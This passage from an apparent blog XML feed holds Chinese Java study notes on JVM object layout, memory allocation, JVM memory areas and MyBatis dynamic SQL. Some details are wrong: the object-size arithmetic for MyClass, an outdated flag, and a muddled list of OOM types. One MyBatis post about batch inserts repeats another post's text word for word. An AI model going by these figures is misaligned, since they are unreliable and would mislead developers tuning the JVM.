64位JVM，开启压缩指针</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line"><span class="comment">// Mark Word: 8 bytes</span></span><br><span class="line"><span class="comment">// Class Pointer: 4 bytes</span></span><br><span class="line"><span class="comment">// Padding: 4 bytes</span></span><br><span class="line"><span class="comment">// 总大小: 16 bytes</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyClass</span> &#123;</span><br><span class="line">    <span class="type">int</span> a;      <span class="comment">// 4 bytes</span></span><br><span class="line">    <span class="type">long</span> b;     <span class="comment">// 8 bytes</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// Mark Word: 8</span></span><br><span class="line"><span class="comment">// Class Pointer: 4</span></span><br><span class="line"><span class="comment">// int a: 4</span></span><br><span class="line"><span class="comment">// long b: 8</span></span><br><span class="line"><span class="comment">// Padding: 4</span></span><br><span class="line"><span class="comment">// 总大小: 32 bytes</span></span><br></pre></td></tr></table></figure><h2 id="5-指针压缩（Compressed-Oops）"><a href="#5-指针压缩（Compressed-Oops）" class="headerlink" title="5. 指针压缩（Compressed Oops）"></a>5. 指针压缩（Compressed Oops）</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+UseCompressedOops      <span class="comment"># 开启压缩指针（默认开启，堆&lt;32G）</span></span><br><span class="line">-XX:+UseCompressedClassPointers  <span class="comment"># 压缩类指针</span></span><br></pre></td></tr></table></figure><p>64 位 JVM 中，对象引用从 8 字节压缩到 4 字节：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">未压缩：0x0000000123456789（8字节）</span><br><span class="line">压缩后：0x23456789（4字节）+ 基地址偏移</span><br></pre></td></tr></table></figure><p><strong>为什么堆小于 32G 才能压缩？</strong></p><ul><li>4 字节最多表示 2^32 = 4G</li><li>对象按 8 字节对齐，可表示 4G * 8 = 32G</li><li>超过 32G，指针压缩失效，对象引用回到 8 字节</li></ul><p><strong>注意</strong>：堆设置在 32G~48G 之间是浪费的（指针不压缩但性能下降），建议超过 32G 直接设到 48G 以上。</p><h2 id="6-内存分配策略"><a href="#6-内存分配策略" class="headerlink" title="6. 内存分配策略"></a>6. 内存分配策略</h2><h3 id="对象优先在-Eden-分配"><a href="#对象优先在-Eden-分配" class="headerlink" title="对象优先在 Eden 分配"></a>对象优先在 Eden 分配</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">byte</span>[] allocation = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">2</span> * <span class="number">1024</span> * <span class="number">1024</span>];  <span class="comment">// 2MB，在Eden分配</span></span><br></pre></td></tr></table></figure><h3 id="大对象直接进入老年代"><a href="#大对象直接进入老年代" class="headerlink" title="大对象直接进入老年代"></a>大对象直接进入老年代</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:PretenureSizeThreshold=4m  <span class="comment"># 大于4MB的对象直接进老年代</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：该参数只对 Serial 和 ParNew 收集器有效。</p><h3 id="长期存活对象进入老年代"><a href="#长期存活对象进入老年代" class="headerlink" title="长期存活对象进入老年代"></a>长期存活对象进入老年代</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MaxTenuringThreshold=15  <span class="comment"># 晋升年龄阈值（默认15）</span></span><br></pre></td></tr></table></figure><p>对象每经历一次 Minor GC，年龄加 1，达到阈值晋升。</p><h3 id="动态对象年龄判定"><a href="#动态对象年龄判定" class="headerlink" title="动态对象年龄判定"></a>动态对象年龄判定</h3><p>Survivor 区中相同年龄的所有对象大小总和超过 Survivor 空间的一半，年龄大于等于该年龄的对象直接进入老年代。</p><h3 id="空间分配担保"><a href="#空间分配担保" class="headerlink" title="空间分配担保"></a>空间分配担保</h3><p>Minor GC 之前，检查老年代最大可用连续空间是否大于年轻代所有对象总空间：</p><ul><li>大于：Minor GC 安全</li><li>小于：检查是否允许担保失败<ul><li>允许：检查老年代可用空间是否大于历次晋升平均大小</li><li>不允许：Full GC</li></ul></li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+HandlePromotionFailure  <span class="comment"># JDK6后默认允许担保失败</span></span><br></pre></td></tr></table></figure><h2 id="7-逃逸分析"><a href="#7-逃逸分析" class="headerlink" title="7. 逃逸分析"></a>7. 逃逸分析</h2><h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>分析对象动态作用域，判断对象是否逃逸出方法/线程。</p><h3 id="优化手段"><a href="#优化手段" class="headerlink" title="优化手段"></a>优化手段</h3><p><strong>栈上分配</strong>：未逃逸的对象在栈上分配，随方法结束自动销毁。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();  <span class="comment">// user未逃逸出方法</span></span><br><span class="line">    user.setName(<span class="string">&quot;test&quot;</span>);</span><br><span class="line">    <span class="comment">// user可以在栈上分配</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>标量替换</strong>：将对象拆散为成员变量分配。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 原始代码</span></span><br><span class="line"><span class="type">Point</span> <span class="variable">point</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Point</span>(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line"><span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> point.x;</span><br><span class="line"><span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> point.y;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 优化后</span></span><br><span class="line"><span class="type">int</span> <span class="variable">point_x</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"><span class="type">int</span> <span class="variable">point_y</span> <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line"><span class="type">int</span> <span class="variable">x</span> <span class="operator">=</span> point_x;</span><br><span class="line"><span class="type">int</span> <span class="variable">y</span> <span class="operator">=</span> point_y;</span><br></pre></td></tr></table></figure><p><strong>同步消除</strong>：逃逸分析确定对象不会被其他线程访问，消除同步。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+DoEscapeAnalysis     <span class="comment"># 开启逃逸分析（默认开启）</span></span><br><span class="line">-XX:+EliminateAllocations <span class="comment"># 开启标量替换</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>知识点</th><th>要点</th></tr></thead><tbody><tr><td>分配方式</td><td>指针碰撞 vs 空闲列表</td></tr><tr><td>线程安全</td><td>TLAB + CAS</td></tr><tr><td>对象布局</td><td>对象头 + 实例数据 + 对齐填充</td></tr><tr><td>指针压缩</td><td>堆&lt;32G时4字节引用</td></tr><tr><td>分配策略</td><td>Eden -&gt; Survivor -&gt; Old</td></tr><tr><td>逃逸分析</td><td>栈上分配、标量替换、同步消除</td></tr></tbody></table><p>理解对象创建和内存分配，有助于写出内存友好的代码和进行 JVM 参数调优。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-批量插入和性能优化"><a href="#MyBatis-批量插入和性能优化" class="headerlink" title="MyBatis 批量插入和性能优化"></a>MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM内存区域划分与作用</title>
      <link href="//jvm-nei-cun-qu-yu-hua-fen-yu-zuo-yong/"/>
      <url>//jvm-nei-cun-qu-yu-hua-fen-yu-zuo-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM内存区域划分与作用"><a href="#JVM内存区域划分与作用" class="headerlink" title="JVM内存区域划分与作用"></a>JVM内存区域划分与作用</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="运行时数据区概览"><a href="#运行时数据区概览" class="headerlink" title="运行时数据区概览"></a>运行时数据区概览</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│              线程私有区域                 │</span><br><span class="line">│  ┌──────────┐ ┌──────────┐ ┌─────────┐ │</span><br><span class="line">│  │程序计数器 │ │虚拟机栈  │ │本地方法栈│ │</span><br><span class="line">│  └──────────┘ └──────────┘ └─────────┘ │</span><br><span class="line">├─────────────────────────────────────────┤</span><br><span class="line">│              线程共享区域                 │</span><br><span class="line">│  ┌───────────────────────────────────┐  │</span><br><span class="line">│  │              堆                    │  │</span><br><span class="line">│  │  ┌─────────────┐ ┌─────────────┐  │  │</span><br><span class="line">│  │  │    年轻代    │ │    老年代    │  │  │</span><br><span class="line">│  │  │  Eden       │ │             │  │  │</span><br><span class="line">│  │  │  Survivor0  │ │             │  │  │</span><br><span class="line">│  │  │  Survivor1  │ │             │  │  │</span><br><span class="line">│  │  └─────────────┘ └─────────────┘  │  │</span><br><span class="line">│  └───────────────────────────────────┘  │</span><br><span class="line">│  ┌───────────────────────────────────┐  │</span><br><span class="line">│  │           方法区（元空间）          │  │</span><br><span class="line">│  │  类信息、常量、静态变量、JIT代码    │  │</span><br><span class="line">│  └───────────────────────────────────┘  │</span><br><span class="line">│  ┌───────────────────────────────────┐  │</span><br><span class="line">│  │          直接内存（堆外）           │  │</span><br><span class="line">│  └───────────────────────────────────┘  │</span><br><span class="line">└─────────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="1-程序计数器（Program-Counter-Register）"><a href="#1-程序计数器（Program-Counter-Register）" class="headerlink" title="1. 程序计数器（Program Counter Register）"></a>1. 程序计数器（Program Counter Register）</h2><p><strong>作用</strong>：当前线程执行的字节码行号指示器。</p><p><strong>特点</strong>：</p><ul><li>线程私有，每个线程独立</li><li>唯一不会发生 OOM 的区域</li><li>执行 Java 方法时记录字节码地址，执行 Native 方法时为空</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A的程序计数器: 0x0001 (执行到第1行)</span><br><span class="line">线程B的程序计数器: 0x0010 (执行到第16行)</span><br></pre></td></tr></table></figure><h2 id="2-虚拟机栈（VM-Stack）"><a href="#2-虚拟机栈（VM-Stack）" class="headerlink" title="2. 虚拟机栈（VM Stack）"></a>2. 虚拟机栈（VM Stack）</h2><p><strong>作用</strong>：描述 Java 方法执行的内存模型，每个方法执行时创建栈帧。</p><p>#</p><h2 id="栈帧结构"><a href="#栈帧结构" class="headerlink" title="栈帧结构"></a>栈帧结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────┐</span><br><span class="line">│  局部变量表      │  存放基本类型和对象引用</span><br><span class="line">├─────────────────┤</span><br><span class="line">│  操作数栈        │  方法执行的工作区</span><br><span class="line">├─────────────────┤</span><br><span class="line">│  动态链接        │  指向运行时常量池的方法引用</span><br><span class="line">├─────────────────┤</span><br><span class="line">│  方法返回地址    │  方法执行完毕后的返回位置</span><br><span class="line">├─────────────────┤</span><br><span class="line">│  附加信息        │  调试信息等</span><br><span class="line">└─────────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="局部变量表"><a href="#局部变量表" class="headerlink" title="局部变量表"></a>局部变量表</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> a + b;  <span class="comment">// 局部变量表: [a, b, c]</span></span><br><span class="line">    <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();  <span class="comment">// 引用类型占1个slot</span></span><br><span class="line">    <span class="type">long</span> <span class="variable">d</span> <span class="operator">=</span> <span class="number">100L</span>;  <span class="comment">// long/double占2个slot</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="常见问题：StackOverflowError"><a href="#常见问题：StackOverflowError" class="headerlink" title="常见问题：StackOverflowError"></a>常见问题：StackOverflowError</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recursive</span><span class="params">()</span> &#123;</span><br><span class="line">    recursive();  <span class="comment">// 无限递归，栈溢出</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><ul><li>检查递归终止条件</li><li>增加栈大小：<code>-Xss512k</code></li></ul><h2 id="3-本地方法栈（Native-Method-Stack）"><a href="#3-本地方法栈（Native-Method-Stack）" class="headerlink" title="3. 本地方法栈（Native Method Stack）"></a>3. 本地方法栈（Native Method Stack）</h2><p><strong>作用</strong>：为 Native 方法服务。</p><p><strong>特点</strong>：</p><ul><li>线程私有</li><li>HotSpot 中与虚拟机栈合二为一</li><li>也会抛出 StackOverflowError 和 OOM</li></ul><h2 id="4-堆（Heap）"><a href="#4-堆（Heap）" class="headerlink" title="4. 堆（Heap）"></a>4. 堆（Heap）</h2><p><strong>作用</strong>：存放对象实例和数组，是 JVM 管理的最大内存区域。</p><p>#</p><h2 id="堆内存划分"><a href="#堆内存划分" class="headerlink" title="堆内存划分"></a>堆内存划分</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌──────────────────────────────────────┐</span><br><span class="line">│                堆                     │</span><br><span class="line">│  ┌────────────────────────────────┐  │</span><br><span class="line">│  │           年轻代 (Young)        │  │  -Xmn</span><br><span class="line">│  │  ┌──────────────────────────┐  │  │</span><br><span class="line">│  │  │        Eden (8/10)        │  │  │</span><br><span class="line">│  │  ├──────────────────────────┤  │  │</span><br><span class="line">│  │  │  Survivor0 (1/10)        │  │  │</span><br><span class="line">│  │  ├──────────────────────────┤  │  │</span><br><span class="line">│  │  │  Survivor1 (1/10)        │  │  │</span><br><span class="line">│  │  └──────────────────────────┘  │  │</span><br><span class="line">│  └────────────────────────────────┘  │</span><br><span class="line">│  ┌────────────────────────────────┐  │</span><br><span class="line">│  │         老年代 (Old)            │  │  -Xms - Xmn</span><br><span class="line">│  └────────────────────────────────┘  │</span><br><span class="line">└──────────────────────────────────────┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="对象分配与晋升"><a href="#对象分配与晋升" class="headerlink" title="对象分配与晋升"></a>对象分配与晋升</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">对象创建 -&gt; Eden区</span><br><span class="line">    |</span><br><span class="line">    |-&gt; Minor GC后存活 -&gt; Survivor0</span><br><span class="line">    |</span><br><span class="line">    |-&gt; 再次Minor GC -&gt; Survivor1（复制算法，S0和S1交换）</span><br><span class="line">    |</span><br><span class="line">    |-&gt; 年龄达到阈值（默认15）-&gt; 老年代</span><br><span class="line">    |</span><br><span class="line">    |-&gt; 大对象直接进入老年代</span><br></pre></td></tr></table></figure><p>#</p><h2 id="参数配置"><a href="#参数配置" class="headerlink" title="参数配置"></a>参数配置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-Xms512m        <span class="comment"># 堆初始大小</span></span><br><span class="line">-Xmx512m        <span class="comment"># 堆最大大小（建议与初始值相同，避免扩容开销）</span></span><br><span class="line">-Xmn128m        <span class="comment"># 年轻代大小</span></span><br><span class="line">-XX:NewRatio=2  <span class="comment"># 老年代:年轻代 = 2:1</span></span><br><span class="line">-XX:SurvivorRatio=8  <span class="comment"># Eden:S0:S1 = 8:1:1</span></span><br></pre></td></tr></table></figure><h2 id="5-方法区（Method-Area）"><a href="#5-方法区（Method-Area）" class="headerlink" title="5. 方法区（Method Area）"></a>5. 方法区（Method Area）</h2><p><strong>作用</strong>：存储类信息、常量、静态变量、即时编译器编译后的代码。</p><p>#</p><h2 id="JDK-8-之前：永久代（PermGen）"><a href="#JDK-8-之前：永久代（PermGen）" class="headerlink" title="JDK 8 之前：永久代（PermGen）"></a>JDK 8 之前：永久代（PermGen）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:PermSize=64m      <span class="comment"># 永久代初始大小</span></span><br><span class="line">-XX:MaxPermSize=128m  <span class="comment"># 永久代最大大小</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="JDK-8-及之后：元空间（Metaspace）"><a href="#JDK-8-及之后：元空间（Metaspace）" class="headerlink" title="JDK 8 及之后：元空间（Metaspace）"></a>JDK 8 及之后：元空间（Metaspace）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MetaspaceSize=128m      <span class="comment"># 元空间初始大小</span></span><br><span class="line">-XX:MaxMetaspaceSize=256m   <span class="comment"># 元空间最大大小（默认无限制）</span></span><br></pre></td></tr></table></figure><p><strong>元空间与永久代的区别</strong>：</p><ul><li>永久代在 JVM 堆中，元空间使用本地内存</li><li>元空间大小只受限于物理内存</li><li>减少 Full GC 频率</li></ul><p>#</p><h2 id="方法区存储内容"><a href="#方法区存储内容" class="headerlink" title="方法区存储内容"></a>方法区存储内容</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">方法区</span><br><span class="line">├── 类型信息</span><br><span class="line">│   ├── 类名、修饰符</span><br><span class="line">│   ├── 父类、接口</span><br><span class="line">│   └── 方法信息</span><br><span class="line">├── 常量池</span><br><span class="line">│   ├── 字面量（字符串、数字）</span><br><span class="line">│   └── 符号引用</span><br><span class="line">├── 字段信息</span><br><span class="line">├── 方法信息</span><br><span class="line">├── 静态变量</span><br><span class="line">└── JIT编译后的代码</span><br></pre></td></tr></table></figure><p>#</p><h2 id="运行时常量池"><a href="#运行时常量池" class="headerlink" title="运行时常量池"></a>运行时常量池</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">s1</span> <span class="operator">=</span> <span class="string">&quot;hello&quot;</span>;  <span class="comment">// 放入字符串常量池</span></span><br><span class="line"><span class="type">String</span> <span class="variable">s2</span> <span class="operator">=</span> <span class="string">&quot;hello&quot;</span>;  <span class="comment">// 从常量池复用</span></span><br><span class="line"><span class="type">String</span> <span class="variable">s3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(<span class="string">&quot;hello&quot;</span>);  <span class="comment">// 堆中新建对象</span></span><br><span class="line"></span><br><span class="line">System.out.println(s1 == s2);  <span class="comment">// true</span></span><br><span class="line">System.out.println(s1 == s3);  <span class="comment">// false</span></span><br><span class="line">System.out.println(s1 == s3.intern());  <span class="comment">// true</span></span><br></pre></td></tr></table></figure><h2 id="6-直接内存（Direct-Memory）"><a href="#6-直接内存（Direct-Memory）" class="headerlink" title="6. 直接内存（Direct Memory）"></a>6. 直接内存（Direct Memory）</h2><p><strong>作用</strong>：NIO 使用的堆外内存，避免 Java 堆与 Native 堆之间的数据复制。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 分配直接内存</span></span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.allocateDirect(<span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Cleaner 管理内存释放</span></span><br></pre></td></tr></table></figure><p><strong>参数</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:MaxDirectMemorySize=128m  <span class="comment"># 直接内存上限</span></span><br></pre></td></tr></table></figure><p><strong>注意</strong>：直接内存不受 JVM 堆大小限制，但受物理内存限制，也可能导致 OOM。</p><h2 id="内存溢出场景"><a href="#内存溢出场景" class="headerlink" title="内存溢出场景"></a>内存溢出场景</h2><table><thead><tr><th>区域</th><th>OOM 场景</th><th>错误信息</th></tr></thead><tbody><tr><td>堆</td><td>对象过多，无法回收</td><td>Java heap space</td></tr><tr><td>元空间</td><td>动态生成类过多</td><td>Metaspace</td></tr><tr><td>虚拟机栈</td><td>线程过多/递归过深</td><td>unable to create new native thread</td></tr><tr><td>直接内存</td><td>NIO 使用过多</td><td>Direct buffer memory</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>区域</th><th>线程</th><th>存储内容</th><th>异常</th></tr></thead><tbody><tr><td>程序计数器</td><td>私有</td><td>字节码行号</td><td>无</td></tr><tr><td>虚拟机栈</td><td>私有</td><td>栈帧、局部变量</td><td>StackOverflowError</td></tr><tr><td>本地方法栈</td><td>私有</td><td>Native方法</td><td>StackOverflowError</td></tr><tr><td>堆</td><td>共享</td><td>对象实例</td><td>OOM</td></tr><tr><td>方法区</td><td>共享</td><td>类信息、常量</td><td>OOM</td></tr><tr><td>直接内存</td><td>共享</td><td>NIO缓冲区</td><td>OOM</td></tr></tbody></table><p>理解 JVM 内存区域，是进行内存调优和 OOM 问题排查的基础。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-动态-SQL-的正确写法"><a href="#MyBatis-动态-SQL-的正确写法" class="headerlink" title="MyBatis 动态 SQL 的正确写法"></a>MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java并发编程的常见问题总结</title>
      <link href="//java-bing-fa-bian-cheng-de-chang-jian-wen-ti-zong-jie/"/>
      <url>//java-bing-fa-bian-cheng-de-chang-jian-wen-ti-zong-jie/</url>
      
